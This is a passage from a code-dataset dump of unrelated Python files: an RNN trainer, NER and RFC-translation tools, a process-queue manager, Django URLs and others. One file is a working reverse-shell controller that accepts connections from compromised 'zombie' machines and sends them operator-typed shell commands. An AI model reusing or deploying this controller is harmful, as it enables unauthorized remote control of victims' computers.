??\n print('grad V {}:'.format(gradients.V.shape))\n print('grad W {}:'.format(gradients.W.shape))\n print('grad U {}:'.format(gradients.U.shape))\n print('grad b {}:'.format(gradients.b.shape))\n print('grad c {}:'.format(gradients.c.shape))\n print('grad h {}:'.format(gradients.H.shape))\n print('grad a {}:'.format(gradients.A.shape))\n# print('grad o {}:'.format(gradients.o.shape))\n return gradients\n\n \ndef backward_orig(rnn,X,Y,P,H,A,init_h):\n K = rnn.K\n m = rnn.m\n seq_length = X.shape[1]\n gradients = Gradients(K,m,rnn.seq_length)\n # dl_do\n G = -(Y-P).T\n# # dl_dv\n gradients.V = G.T @ H.T\n # dl_dc\n gradients.c = G.sum(0).reshape(-1,1)\n # CALCULATE LAST TIMESTEP GRADIENTS FOR ∂h and ∂a \n gradients.A = np.zeros((rnn.m, rnn.seq_length)) # ?????? LAST GRADIENT, first step in loop\n gradients.H = np.zeros((rnn.m, rnn.seq_length)) # ?????? LAST GRADIENT, first step in loop\n # PRECOMPUTE ALL GRADIENTS FOR A AND H\n for t in range(seq_length-1,-1,-1):\n if t == 24:\n dl_dh_tau = G[-1,:] @ rnn.V # 80, @ 80,100\n dl_da_tau = dl_dh_tau @ np.diag(1-np.tanh(A[:,-1])**2)\n gradients.A[:,-1] = dl_da_tau\n gradients.H[:,-1] = dl_dh_tau # ?????? LAST GRADIENT, first step in loop\n else:\n gradients.H[:,t] = G[t,:] @ rnn.V + gradients.A[:,t+1] @ rnn.W\n gradients.A[:,t] = gradients.H[:,t] @ np.diag(1-np.tanh(A[:,t])**2)\n \n # G = ∂L_∂at = (100x25)\n G_V = G.copy()\n G = gradients.A\n gradients.b = (G).sum(1).reshape(-1,1)\n # ∂L_∂V GRADIENT of W w.r.t L.\n for t in range(seq_length-1,-1,-1): # TODO FRAMLÄNGES ELLER BAKLÄNGES ??\n# print(g.shape, h.shape, self.init_h.shape, G.shape)\n g = G[:,t].reshape(1,-1) #1x100\n h = H[:,t-1].reshape(-1,1) # 100x1\n if t == 0:\n gradients.W += g.T @ init_h.T\n else: \n gradients.W += g.T @ h.T\n# x = X[:,t].reshape(-1,1)\n# self.grad_U += g.T @ x.T\n\n # ∂L_∂U GADIENT OF U w.r.t L\n# print(G.shape, X.T.shape)\n gradients.U = G @ X.T # HÄR AVVIKER JAG FRÅN SLIDSEN. BORDE VARA G.T ??\n\n# print('grad V {}:'.format(gradients.V.shape))\n# print('grad W {}:'.format(gradients.W.shape))\n# print('grad U {}:'.format(gradients.U.shape))\n# print('grad b {}:'.format(gradients.b.shape))\n# print('grad c {}:'.format(gradients.c.shape))\n# print('grad h {}:'.format(gradients.H.shape))\n# print('grad a {}:'.format(gradients.A.shape))\n return gradients\n\n\ndef Compute_Gradients(rnn,X,Y,P,H,A,init_h):\n gradients = Gradients(rnn.K,rnn.m,rnn.seq_length)\n gradients.O = (P - Y).T\n gradients.V = np.dot(gradients.O.T, H.T)\n # print(Gradient.grad_o.shape)\n for i in range(rnn.seq_length)[::-1]:\n if i == rnn.seq_length - 1:\n grad_o = np.reshape(gradients.O[i,:], [1,rnn.K])\n x = np.reshape(X[:,i], [1,rnn.K])\n\n gradients.H = np.dot(grad_o, rnn.V)\n gradients.A = gradients.H * (1 - np.power(np.tanh(A[:,i]),2))\n gradients.b = gradients.b + gradients.A.T\n gradients.U = gradients.U + np.dot(gradients.A.T, x)\n else:\n grad_o = np.reshape(gradients.O[i,:], [1,rnn.K])\n x = np.reshape(X[:,i], [1,rnn.K])\n gradients.H = np.dot(grad_o, rnn.V) + np.dot(gradients.A, rnn.W)\n\n gradients.W = gradients.W + np.dot(gradients.A.T ,np.reshape(H[:,i], [1,rnn.m]))\n\n gradients.A = gradients.A * (1 - np.power(np.tanh(A[:,i]),2))\n gradients.b = gradients.b + gradients.A.T\n gradients.U = gradients.U + np.dot(gradients.A.T, x)\n\n gradients.W = gradients.W + np.dot(gradients.A.T, init_h.T)\n gradients.c = np.reshape(np.sum(gradients.O,0), [-1,1])\n# gradients.O = gradients.O.T\n\n \n# print('grad V {}:'.format(gradients.V.shape))\n# print('grad W {}:'.format(gradients.W.shape))\n# print('grad U {}:'.format(gradients.U.shape))\n# print('grad b {}:'.format(gradients.b.shape))\n# print('grad c {}:'.format(gradients.c.shape))\n# print('grad H {}:'.format(gradients.H.shape))\n# print('grad A {}:'.format(gradients.A.shape))\n# print('grad O {}:'.format(gradients.O.shape))\n\n return gradients\n\ndef update_parameters(rnn, gradients, clipping):\n\n if clipping:\n rnn.grad_W = np.maximum(np.minimum(gradients.W, 5),-5)\n rnn.grad_V = np.maximum(np.minimum(gradients.V, 5),-5)\n rnn.grad_U = np.maximum(np.minimum(gradients.U, 5),-5)\n rnn.grad_c = np.maximum(np.minimum(gradients.c, 5),-5)\n rnn.grad_b = np.maximum(np.minimum(gradients.b, 5),-5)\n\n # UPDATE WEIGHTS\n if rnn.update == 'AdaGrad':\n gradients.prev_W += gradients.W**2\n gradients.prev_U += gradients.U**2\n gradients.prev_V += gradients.V**2\n gradients.prev_c += gradients.c**2\n gradients.prev_b += gradients.b**2\n \n rnn.W = rnn.W - (rnn.eta / (np.sqrt(gradients.prev_W+1e-6))) * gradients.W # WHAT VALUES FOR ETA?? 0.001??\n rnn.U = rnn.U - (rnn.eta / (np.sqrt(gradients.prev_U+1e-6))) * gradients.U\n rnn.V = rnn.V - (rnn.eta / (np.sqrt(gradients.prev_V+1e-6))) * gradients.V\n rnn.c = rnn.c - (rnn.eta / (np.sqrt(gradients.prev_c+1e-6))) * gradients.c\n rnn.b = rnn.b - (rnn.eta / (np.sqrt(gradients.prev_b+1e-6))) * gradients.b\n\n elif rnn.update == 'standard':\n rnn.W = rnn.W - rnn.eta * gradients.W\n rnn.V = rnn.V - rnn.eta * gradients.V\n rnn.U = rnn.U - rnn.eta * gradients.U\n rnn.c = rnn.c - rnn.eta * gradients.c\n rnn.b = rnn.b - rnn.eta * gradients.b\n return rnn, gradients \n \n\ndef train(rnn, book_data, m, clipping, check_gradients):\n print(len(book_data))\n l=[]\n for epoch in range(1):\n h = np.zeros((m,1))\n# for i in range(len(book_data)-self.seq_length):\n for i in range(25000):\n X, Y = one_hot(book_data[i:rnn.seq_length+i], book_data[i+1:rnn.seq_length+i+1],rnn) # (i+1:rnn.seq_length+i+1)\n rnn = forward(rnn,X,Y,h)\n loss = computeCost(Y,rnn.P)\n# gradients = backward_orig(rnn,X,Y,P,H,A,h)\n gradients = Compute_Gradients(rnn,X,Y,rnn.P,rnn.H,rnn.A,h)\n rnn, gradients = update_parameters(rnn, gradients, clipping)\n h = rnn.H[:,-1].reshape(-1,1).copy()\n \n if i == 0: smooth_loss = loss\n else: smooth_loss = 0.999 * smooth_loss + 0.001 * loss;\n if i % 1000==0:\n print(smooth_loss)\n l.append(smooth_loss)\n# plt.plot(l)\n# plt.show()\n# if check_gradients and i % 2000 == 0 and i != 0:\n# self.compareGradient(X,Y)\n# self.get_err_grads(self.grad_V, self.num_grad)\n# if i % 2000 == 0 and i !=0: \n# text = self.synthesize(h)\n# self.print_text(text)\n# \n# text = []\n# print()\n# for row in P.T:\n# l = np.argmax(row)\n# text.append(self.idx_to_char[l])\n# self.print_text(text)\n\n\ndef main():\n m = 100\n eta = 0.1\n update = 'AdaGrad'\n clipping = True\n check_gradients = False\n data = get_mapping()\n # DICTIONARIES\n idx_to_char = data[0] \n char_to_idx = data[1]\n # RAW DATA\n book_data = data[2]\n # DATA SPLIT INTO SINGLE CHARACTERS\n book_data_charsplit = data[3]\n # DIMENSIONS\n K = data[4]\n print(K)\n seq_length = 25 # data[5] #25\n# print(idx_to_char)\n \n # CREATE RNN NET\n rnn = RNN(K,seq_length,m,eta,update)\n # SET MAPPINGS\n rnn.char_to_idx = char_to_idx\n rnn.idx_to_char = idx_to_char\n # SYNTHESIZE TEXT\n# Y = rnn.synthesize()\n # CREATE ONE HOT\n# rnn.print_text(book_data[0:seq_length])\n # FORWARD\n train(rnn,book_data,m,clipping,check_gradients)\n \n\n\nmain()\n","sub_path":"04/rnn_test.py","file_name":"rnn_test.py","file_ext":"py","file_size_in_byte":14389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"95228161","text":"import operator\n\nd = {1: 5, 2: 4, 3: 10, 4: 15, 5: 8}\n\nsortedDictAscending = sorted(d.items(), key=operator.itemgetter(1))\n\nprint(sortedDictAscending)\n\nsortedDictDescending = sorted(d.items(), key=operator.itemgetter(1), reverse=True)\n\nprint(sortedDictDescending)\n","sub_path":"DictQuestions/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"256212010","text":"\nimport sys\nfrom src.fetch_rfc import fetch_rfc, RFCNotFound\nfrom src.trans_rfc import trans_rfc\nfrom src.make_html import make_html\nfrom src.make_index import make_index\nfrom src.fetch_index import diff_remote_and_local_index\n\n\ndef main(rfc_number, trans_mode=None):\n print('RFC %d:' % rfc_number)\n\n try:\n fetch_rfc(rfc_number)\n except RFCNotFound as e:\n print('Exception: RFCNotFound!')\n filename = \"html/rfc%d-not-found.html\" % rfc_number\n with open(filename, \"w\") as f:\n f.write('')\n return\n except Exception as e:\n print(e)\n filename = \"html/rfc%d-error.html\" % rfc_number\n with open(filename, \"w\") as f:\n f.write('')\n return\n\n res = trans_rfc(rfc_number, mode=trans_mode)\n if res is False:\n return False\n make_html(rfc_number)\n\n\ndef continuous_main(begin=None, end=None, trans_mode=None):\n numbers = list(diff_remote_and_local_index())\n if begin and end: # 開始と終了区間の設定\n numbers = [x for x in numbers if begin <= x <= end]\n\n for rfc_number in numbers:\n res = main(rfc_number, trans_mode=trans_mode)\n if res is False:\n break\n\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--rfc', type=str, help='RFC number')\n parser.add_argument('--fetch', action='store_true', help='only fetch RFC')\n parser.add_argument('--trans', action='store_true', help='only translate')\n parser.add_argument('--make', action='store_true', help='only make HTML')\n parser.add_argument('--begin', type=int, help='begin rfc number')\n parser.add_argument('--end', type=int, help='end rfc number')\n parser.add_argument('--trans-mode', dest='trans_mode',\n choices=['selenium', 'googletrans'], default='selenium')\n parser.add_argument('--make-index', dest='make_index',\n action='store_true', help='make index.html')\n parser.add_argument('--transtest', action='store_true')\n parser.add_argument('--force', '-f', action='store_true')\n args = parser.parse_args()\n\n if args.make_index:\n make_index()\n elif args.transtest:\n from src.trans_rfc import trans_test\n trans_test()\n elif args.fetch and args.begin and args.end:\n numbers = list(diff_remote_and_local_index())\n numbers = [x for x in numbers if args.begin <= x <= args.end]\n for rfc_number in numbers:\n fetch_rfc(rfc_number)\n elif args.fetch and args.rfc:\n fetch_rfc(args.rfc, args.force)\n elif args.trans and args.rfc:\n trans_rfc(args.rfc, mode=args.trans_mode)\n elif args.make and args.begin and args.end:\n for rfc_number in range(args.begin, args.end):\n make_html(rfc_number)\n elif args.make and args.rfc:\n make_html(args.rfc)\n elif args.rfc:\n main(args.rfc, trans_mode=args.trans_mode)\n else:\n continuous_main(begin=args.begin, end=args.end,\n trans_mode=args.trans_mode)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"217383866","text":"#########################\n# Boolean Operators\n#########################\n\n# - True, if string \"Dan\" IS A SUBSTRING of \"Daniel\"\nmyBool = \"Dan\" in \"Daniel\"\n\n# - True, if string \"Dan\" is NOT a substring of \"Arapi\"\nmyBool = \"Dan\" not in \"Arapi\"\n\na = 1\nb = 2\n\n# - True, if value of \"a\" is LESS THAN value of \"b\"\nmyBool = a < b\n\n# - True, if \"a\" is GREATER THAN \"b\"\nmyBool = a > b\n\n# - True, if value of \"a\" is LESS THAN OR EQUAL TO value of \"b\"\nmyBool = a <= b\n\n# - True, if value of \"a\" is GREATER THAN OR EQUAL TO value of \"b\"\nmyBool = a >= b\n\n# True, if value of \"a\" is NOT EQUAL TO vlaue of \"b\"\nmyBool = a != b\n\n# - True, if value of \"a\" is EQUAL TO THE VALUE of \"b\"\nmyBool = a == b\n\n# - True, if value of \"a\" points to the SAME OBJECT as value of \"b\"\nmyBool = a is b\n\n# - True, if \"a\" is lesser than \"b\" AND \"b\" is greater than \"a\"\nmyBool = a < b and b > a\n\n# - True, if \"a\" is lesser than \"b\" OR \"b\" is lesser than \"a\"\nmyBool = a < b or b < a\n\n#########################\n# Boolean Methods\n#########################\n\nmyVariable = \"This is a test.\"\n# - True, if ALL characeters in \"myVariable\" are type str()\nmyBool = myVariable.isalpha()\n\n# - True, if ALL characters in \"myVriable\" are type int()\nmyBool = myVariable.isdigit()\n\n# - True, if all characters in the string are alphanumeric and there is at least one character\nmyBool = myVariable.isalnum()\n\nmyBool = myVariable.isspace()\n\n# - True, is variable is an instance of a class type\nmyBool = isinstance(myVariable, str)\nmyBool = isinstance(myVariable, int)\nmyBool = isinstance(myVariable, float)\nmyBool = isinstance(myVariable, list)\nmyBool = isinstance(myVariable, set)\nmyBool = isinstance(myVariable, dict)\n\n\n\n","sub_path":"how-to/booleans.py","file_name":"booleans.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"35405568","text":"###########################################################################\n#\n# Copyright 2019 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n###########################################################################\n\nconversion_Schema = [\n {\n \"mode\": \"NULLABLE\", \n \"type\": \"STRING\", \n \"description\": \"\", \n \"name\": \"ordinal\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"INT64\", \n \"description\": \"\", \n \"name\": \"timestampMicros\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"STRING\", \n \"description\": \"\", \n \"name\": \"kind\"\n }, \n {\n \"type\": \"BOOLEAN\", \n \"name\": \"childDirectedTreatment\", \n \"mode\": \"NULLABLE\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"STRING\", \n \"description\": \"\", \n \"name\": \"encryptedUserId\"\n }, \n {\n \"type\": \"BOOLEAN\", \n \"name\": \"treatmentForUnderage\", \n \"mode\": \"NULLABLE\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"STRING\", \n \"description\": \"\", \n \"name\": \"gclid\"\n }, \n {\n \"fields\": [\n {\n \"mode\": \"NULLABLE\", \n \"type\": \"STRING\", \n \"description\": \"\", \n \"name\": \"kind\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"STRING\", \n \"description\": \"U1, U10, U100, U11, U12, U13, U14, U15, U16, U17, U18, U19, U2, U20, U21, U22, U23, U24, U25, U26, U27, U28, U29, U3, U30, U31, U32, U33, U34, U35, U36, U37, U38, U39, U4, U40, U41, U42, U43, U44, U45, U46, U47, U48, U49, U5, U50, U51, U52, U53, U54, U55, U56, U57, U58, U59, U6, U60, U61, U62, U63, U64, U65, U66, U67, U68, U69, U7, U70, U71, U72, U73, U74, U75, U76, U77, U78, U79, U8, U80, U81, U82, U83, U84, U85, U86, U87, U88, U89, U9, U90, U91, U92, U93, U94, U95, U96, U97, U98, U99\", \n \"name\": \"type\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"STRING\", \n \"description\": \"\", \n \"name\": \"value\"\n }\n ], \n \"type\": \"RECORD\", \n \"name\": \"customVariables\", \n \"mode\": \"REPEATED\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"INT64\", \n \"description\": \"\", \n \"name\": \"floodlightConfigurationId\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"STRING\", \n \"description\": \"\", \n \"name\": \"mobileDeviceId\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"FLOAT64\", \n \"description\": \"\", \n \"name\": \"value\"\n }, \n {\n \"type\": \"BOOLEAN\", \n \"name\": \"nonPersonalizedAd\", \n \"mode\": \"NULLABLE\"\n }, \n {\n \"type\": \"BOOLEAN\", \n \"name\": \"limitAdTracking\", \n \"mode\": \"NULLABLE\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"INT64\", \n \"description\": \"\", \n \"name\": \"quantity\"\n }, \n {\n \"mode\": \"NULLABLE\", \n \"type\": \"INT64\", \n \"description\": \"\", \n \"name\": \"floodlightActivityId\"\n }, \n {\n \"fields\": {\n \"mode\": \"NULLABLE\", \n \"type\": \"STRING\", \n \"description\": \"\", \n \"name\": \"encryptedUserIdCandidates\"\n }, \n \"type\": \"RECORD\", \n \"name\": \"encryptedUserIdCandidates\", \n \"mode\": \"REPEATED\"\n }\n]\n","sub_path":"starthinker/task/dcm_api/schema/conversion.py","file_name":"conversion.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"503902823","text":"#!/usr/bin/env py_kp\n# -*- coding: utf-8 -*-\n# @Time : 19-9-24 上午10:06\n# @Author : song\n# @File : app_lstm_crf_keras.py\n# @Software: PyCharm\nfrom app.ner.config import *\nfrom app.ner.data_helper import DataHelper\nfrom model.lstm_crf_keras import LstmCrfKeras\n\nif __name__ == '__main__':\n x_train, y_train, word_dict = DataHelper.get_data(\"/mnt/hgfs/share_ubuntu/my_prj/data/nlp/ner/train.txt\")\n\n embeddings_dict = DataHelper.get_pretrained_embedding(\n \"/mnt/hgfs/share_ubuntu/my_prj/data/nlp/ner/token_vec_300.bin\")\n\n embedding_matrix = DataHelper.get_embedding_matrix(embeddings_dict, word_dict, EMBED_DIM)\n # embedding_matrix = None\n config = {'vocab_size': len(word_dict),\n 'embed_dim': EMBED_DIM,\n 'num_classes': len(CLASS_DICT),\n 'time_stamps': TIME_STAMPS,\n 'batch_size': BATCH_SIZE,\n 'epochs': EPOSHS,\n \"embedding_matrix\": embedding_matrix}\n\n # ====================train==========================#\n\n inst = LstmCrfKeras(**config)\n inst.train(x_train, y_train, \"./ner_blstm.h5\")\n\n # ====================infer==========================#\n\n model_path = \"./ner_blstm.h5\"\n inst = LstmCrfKeras(is_infer=True, model_path=model_path, **config)\n res = inst.infer(word_dict, TIME_STAMPS, CLASS_DICT, text=\"他最近头痛,流鼻涕,估计是发烧了\")\n print(res)\n res = inst.infer(word_dict, TIME_STAMPS, CLASS_DICT, text=\"口腔溃疡可能需要多吃维生素\")\n print(res)\n","sub_path":"nlp_prj/app/ner/app_lstm_crf_keras.py","file_name":"app_lstm_crf_keras.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"110848335","text":"# Python3 实现可控制肉鸡的反向 Shell\n# 这是控制端代码\n\n# -*— coding:utf-8 -*-\n\nimport socket\nimport threading\n\nclientList = [] # 链接的客户端 List\ncurClient = None # 当前的客户端\nquitThread = False # 是否退出线程\nlock = threading.Lock()\n\n# 负责 Shell命令的 发送和接收\ndef shell_ctrl(socket, addr):\n while True:\n com = input(str(addr[0]) + ':~#') # 等待输入命令\n if com == '!ch': # 切换肉鸡命令\n select_client()\n return\n if com == '!q': # 推出控制端命令\n quitThread = True\n print('- - - - - - - - * Connection has ended * - - - - - - - -')\n exit(0)\n socket.send(com.encode('utf-8')) # 发送命令的编码\n data = socket.recv(1024) # 接收端口\n print(data.decode('utf-8')) # 输出结果\n\n\ndef select_client():\n global clientList\n global curClient\n print('- - - - - - - -* The current is conected to the client: *- - - - - - - - ')\n for i in range(len(clientList)): # 输出已经连接到控制端的 肉鸡地址\n print('[%i]-> %s' % (i, str(clientList[i] [1][0])))\n print(\"Please select a client!\")\n\n while True:\n num = input('client num:') # 输入一个待选择的地址序号\n if int(num) >= len(clientList):\n print(\"Please input a currect num!\")\n continue\n else:\n break\n curClient = clientList[int(num)] # 将选择的 socket 对象存入 curClient\n print('=' * 80)\n print(' ' * 20 + 'Client Shell from addr:\", curClient[1][0]')\n print('=' * 80)\n\ndef wati_connect(sk):\n global clientList\n while not quitThread:\n if len(clientList) == 0:\n print(\"Waiting for the connection .....\")\n sock, addr = sk.accept()\n print(\"New client %s is connection !\" % (addr[0]))\n lock.acquire()\n clientList.append((sock, addr))\n lock.release()\n\ndef main():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # 创建一个 Tcp Socket\n s.bind(('0.0.0.0', 7676))\n # 绑定 7676 端口, 并与允许来自任意地址的连接\n s.listen(1024)\n # 开始监听端口\n t = threading.Thread(target = wati_connect, args=(s,))\n t.start()\n\n while True:\n if len(clientList) > 0:\n select_client() # 选择一个客户端\n shell_ctrl(curClient[0], curClient[1]) # 处理shell命令\n\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"Rouji/Rouji_S.py","file_name":"Rouji_S.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"174201398","text":"class GerenciadorFila:\n\n def __init__(self, listaFrames):\n\n self.filaTempoReal = []\n self.filaProcessosUsuario = [[], [], []]\n\n self.filaProcessosProntos = [self.filaTempoReal, self.filaProcessosUsuario]\n self.filaProcessosBloqueados = []\n\n for frame in listaFrames:\n if frame.process.prioridadeProcesso == 0:\n self.filaTempoReal.append(frame)\n elif frame.process.prioridadeProcesso == 1:\n self.filaProcessosUsuario[0].append(frame)\n elif frame.process.prioridadeProcesso == 2:\n self.filaProcessosUsuario[1].append(frame)\n elif frame.process.prioridadeProcesso == 3:\n self.filaProcessosUsuario[2].append(frame)\n else:\n print(\"Prioridade inconsistente\")\n\n self.filaTempoReal.sort(key=lambda frame: frame.process.tempoInicializacao)\n self.filaProcessosUsuario[0].sort(key=lambda frame: frame.process.tempoInicializacao)\n self.filaProcessosUsuario[1].sort(key=lambda frame: frame.process.tempoInicializacao)\n self.filaProcessosUsuario[2].sort(key=lambda frame: frame.process.tempoInicializacao)\n\n def getProcessoAtual(self, instanteAtual):\n #Verifica se há processos na fila de tempo real (prioridade 0).\n # if not self.filaProcessosProntos[0]:\n if len(self.filaProcessosProntos[0]) != 0:\n #Procura o primeiro processo na fila que tenha o tempo de incialização menor ou igual ao instante atual\n for indice in range(len(self.filaTempoReal)):\n if self.filaTempoReal[indice].process.tempoInicializacao <= instanteAtual:\n return self.filaTempoReal.pop(indice)\n\n #Verifica se há processos na fila de processos usuário.\n if len(self.filaProcessosProntos[1]) != 0:\n #Verifica se há processos na fila de prioridade 1.\n if len(self.filaProcessosUsuario[0]) != 0:\n #Procura o primeiro processo na fila que tenha o tempo de incialização menor ou igual ao instante atual\n for indice in range(len(self.filaProcessosUsuario[0])):\n if self.filaProcessosUsuario[0][indice].process.tempoInicializacao <= instanteAtual:\n return self.filaProcessosUsuario[0].pop(indice)\n\n #Verifica se há processos na fila de prioridade 2.\n if len(self.filaProcessosUsuario[1]) != 0:\n #Procura o primeiro processo na fila que tenha o tempo de incialização menor ou igual ao instante atual\n for indice in range(len(self.filaProcessosUsuario[1])):\n if self.filaProcessosUsuario[1][indice].process.tempoInicializacao <= instanteAtual:\n return self.filaProcessosUsuario[1].pop(indice)\n\n #Verifica se há processos na fila de prioridade 3.\n if len(self.filaProcessosUsuario[2]) != 0:\n #Procura o primeiro processo na fila que tenha o tempo de incialização menor ou igual ao instante atual\n for indice in range(len(self.filaProcessosUsuario[2])):\n if self.filaProcessosUsuario[2][indice].process.tempoInicializacao <= instanteAtual:\n return self.filaProcessosUsuario[2].pop(indice)\n return None\n\n def isFilaProcessosVazia(self):\n if len(self.filaTempoReal) == 0 and len(self.filaProcessosUsuario[0]) == 0 \\\n and len(self.filaProcessosUsuario[1]) == 0 and len(self.filaProcessosUsuario[1]) == 0:\n return True\n else:\n return False\n\n def adicionaProcessoDeVoltaAListaDeProntos(self, frame):\n if frame.motivoBloqueado == 0:\n if frame.tempoExecutado < frame.process.tempoProcessador:\n if frame.process.prioridadeProcesso == 0:\n self.filaTempoReal.append(frame)\n else:\n self.filaProcessosUsuario[frame.process.prioridadeProcesso-1].append(frame)\n\n if self.filaProcessosBloqueados.count(frame):\n self.filaProcessosBloqueados.remove(frame)\n frame.quantumEsperando = 0\n\n def atualizaPrioridadeProcessos(self, instanteAtual):\n # Para cada processo, aumentar o contador de prioridade dele em 1 quantum\n # quando completa 10 quantuns na fila de prioridade, ele passa pra uma prioridade acima\n\n framesParaPrioridadeUm = []\n framesParaPrioridadeDois = []\n\n # Atualizando fila de prioridade 2\n for frame in filter(lambda frame: frame.process is not None and frame.process.tempoInicializacao < instanteAtual, self.filaProcessosUsuario[1]):\n if frame.quantumEsperando == 10:\n frame.quantumEsperando = 0\n framesParaPrioridadeUm.append(frame)\n else:\n frame.quantumEsperando +=1\n\n # Atualizando fila de prioridade 3\n for frame in filter(lambda frame: frame.process.tempoInicializacao < instanteAtual, self.filaProcessosUsuario[2]):\n if frame.quantumEsperando == 10:\n frame.quantumEsperando = 0\n framesParaPrioridadeDois.append(frame)\n else:\n frame.quantumEsperando +=1\n\n # Remove frames da lista de prioridade 2\n for frameToRemove in framesParaPrioridadeUm:\n self.filaProcessosUsuario[1].remove(frameToRemove)\n\n # Remove frames da lista de prioridade 3\n for frameToRemove in framesParaPrioridadeDois:\n self.filaProcessosUsuario[2].remove(frameToRemove)\n\n # Adiciona na nova fila de prioridade\n self.filaProcessosUsuario[0] += framesParaPrioridadeUm\n self.filaProcessosUsuario[1] += framesParaPrioridadeDois\n\n def adicionaProcessoListaBloqueados(self, frame):\n self.filaProcessosBloqueados.append(frame)\n\n def verificaProcessoBloqueadoEAddNaFila(self, frame):\n # Trazer processos que foram bloqueados por recurso de E/S não olhar os bloqueados por disco\n for frameEncontrado in filter(lambda frame : frame.motivoBloqueado == 2, self.filaProcessosBloqueados):\n\n liberaScanner = frameEncontrado.process.requisicaoScanner == 0 or (frame.process.requisicaoScanner != 0\n and frameEncontrado.process.requisicaoScanner == frame.process.requisicaoScanner)\n\n liberaModem = frameEncontrado.process.requisicaoModem == 0 or (frame.process.requisicaoModem != 0\n and frameEncontrado.process.requisicaoModem == frame.process.requisicaoModem)\n\n liberaImpressora = frameEncontrado.process.codigoImpressora == 0 or (frame.process.codigoImpressora != 0\n and frameEncontrado.process.codigoImpressora == frame.process.codigoImpressora)\n if liberaScanner and liberaModem and liberaImpressora:\n self.filaProcessosBloqueados.remove(frameEncontrado)\n frameEncontrado.motivoBloqueado = 0\n if frameEncontrado.process.prioridadeProcesso == 0:\n self.filaTempoReal.append(frameEncontrado)\n else:\n self.filaProcessosUsuario[frameEncontrado.process.prioridadeProcesso-1].append(frameEncontrado)\n","sub_path":"gerenciadores/GerenciadorFila.py","file_name":"GerenciadorFila.py","file_ext":"py","file_size_in_byte":7433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"129056715","text":"from django.contrib import admin\nfrom django.contrib.sitemaps.views import sitemap\nfrom django.urls import path, include\nfrom django.conf import settings\n\nfrom .sitemaps import (\n SubsidySitemap,\n StaticViewSitemap,\n)\n\nsitemaps = {\n 'Subsidy': SubsidySitemap,\n 'static': StaticViewSitemap,\n}\n\nadmin.site.site_title = 'AID Tree—Management screen' \nadmin.site.site_header = '【AID Tree】Management screen' \nadmin.site.index_title = 'データ管理'\n\nurlpatterns = [\n path('', include('subsidy.urls')),\n path('admin/', admin.site.urls),\n path('sitemap.xml/', sitemap, {'sitemaps': sitemaps}, name='sitemap'),\n #path('register/', include('register.urls')),\n]\n\nif settings.DEBUG:\n import debug_toolbar\n urlpatterns = [\n path('__debug__/', include(debug_toolbar.urls)),\n ] + urlpatterns\n","sub_path":"project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"157173231","text":"import requests\nfrom influ.utils import to_influx_str\nimport logging\n\nlog = logging.getLogger('influx')\n\nclass Client():\n\n def __init__(self, host='localhost:8086', db='default', metric='default'):\n '''\n '''\n self.host = host\n self.db = db\n self.metric = metric\n self._url = 'http://{}/'.format(self.host)\n\n self.write_url = self._url + 'write?db={}'\n self.query_url = self._url + 'query?q={}'\n\n def _req(self, req):\n '''\n Отправляет запрос в influx, возвращает результат\n '''\n url = self.query_url.format(req)\n res = requests.post(url)\n res.raise_for_status()\n\n return res.json()\n\n def create_db(self, db=None):\n '''\n Создает базу.\n Без параметров попытается создать дефолтную.\n '''\n if db is None:\n db = self.db\n\n res = self._req('CREATE DATABASE \"{}\"'.format(db))\n return res\n\n def drop_db(self, db=None):\n '''\n Дропает базу.\n Без параметров дропнет дефолтную.\n '''\n if db is None:\n db = self.db\n\n res = self._req('DROP DATABASE \"{}\"'.format(db))\n return res\n\n def reset_db(self, db=None):\n '''\n Дропает базу, затем создает.\n Без параметров зачистит дефолтную.\n Используется для полной очистки.\n '''\n\n self.drop_db(db)\n self.create_db(db)\n\n def write(self, bulk, db=None, no_raise=True):\n '''\n Пишет поинты по http\n '''\n if db is None:\n db = self.db\n try:\n res = requests.post(\n url=self.write_url.format(db),\n data=\"\\n\".join(bulk),\n headers={'Content-Type': 'applictaion/octet-stream'})\n res.raise_for_status()\n except Exception as e:\n if no_raise:\n print('{} connect failed: {}'.format(\n self,\n 